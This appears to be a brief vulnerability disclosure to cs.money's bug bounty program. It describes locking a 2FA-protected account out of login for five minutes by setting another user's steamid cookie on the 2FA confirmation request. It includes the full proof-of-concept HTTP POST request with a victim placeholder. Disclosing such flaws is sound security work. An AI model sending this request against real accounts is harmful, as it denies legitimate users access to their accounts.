Able to blocking users with 2fa from login into their accounts by just knowing the SteamID

Summary: By changing the steamID cookie on confirm 2fa code request, I am able to block the login of an account with 2fa for 5 minutes (300 seconds). So I am able to block users with 2fa from login into their accounts by just knowing the SteamID.

POST /login/confirm HTTP/1.1
Host: cs.money
Content-Length: 28
Connection: close
Cookie: steamid=<victim_steam_id>;

{"token":"foo","code":"foo"}